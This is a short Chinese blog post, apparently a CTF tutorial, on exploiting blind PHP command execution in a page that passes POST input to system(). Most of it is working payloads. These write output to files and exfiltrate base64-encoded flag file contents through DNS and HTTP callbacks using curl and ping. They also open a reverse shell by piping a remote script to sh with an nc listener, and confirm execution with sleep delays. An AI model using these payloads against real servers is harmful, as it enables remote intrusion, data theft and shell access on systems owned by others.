php--无回显情况下的命令执行

免责声明:本文仅做技术交流与学习...

目录

绕过模版:

[1. 写入文件、二次返回:](#1. 写入文件、二次返回:)

[2. DNS信道:](#2. DNS信道:)

3.http信道:

[4.反弹shell信道 -->公网IP](#4.反弹shell信道 -->公网IP)

[5.延时 sleep 3](#5.延时 sleep 3)


建立通道(信道) --数据传输的路径

shell_exec 与 system 相比,shell_exec没有回显结果.

绕过模版:

<?php

echo "hello world";

命令执行:

cmd=_POST['cmd'];

system($cmd);

?>

1. 写入文件、二次返回:

/?cmd=whoami>1.txt

再访问1.txt:

/?cmd=cat fl?g.php>1.txt


2. DNS信道:

dnslog.cn

/?cmd=ping -c 1 `执行命令`.域名 --1次解析

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:0:10}.域名 --一次带出的字符有限.

/?cmd=a=`sed -n "3,4p" fla?.php`;curl${a:10:30}.域名

/?cmd=a=`sed -n "3,4p" fla?.php|base64`;curl${a:10:30}.域名 --base64编码


3.http信道:

https://requestrepo.com/#/

https://requestrepo.com/#/

(看get请求包)

/?cmd=curl http://域名/?1=\`ls .|base64`

/?cmd=curl http://域名/?1=\`cat fl?g.php|base64`


4.反弹shell信道 -->公网IP

https://your-shell.com/

https://your-shell.com/

(用微软的浏览器访问.)

curl https://your-shell.com/\<your公网ip>:1337 | sh

/?cmd=curl https://your-shell.com/\<your公网ip>:1337 | sh

服务器: nc -lvvnp 1337


5.延时 sleep 3

--麻烦啊

&2=sleep 3 ||还可验证命令执行.


相关推荐
ServBay44 分钟前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack2 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo2 天前
FrankenPHP 原生支持 Windows 了
后端·php
齐生13 天前
iOS 知识点 - 渲染机制、动画、卡顿小集合
笔记
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
用户962377954483 天前
VulnHub DC-1 靶机渗透测试笔记
笔记·测试
JaguarJack3 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo3 天前
PHP 的异步编程 该怎么选择
后端·php
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
JaguarJack4 天前
为什么 PHP 闭包要加 static?
后端·php·服务端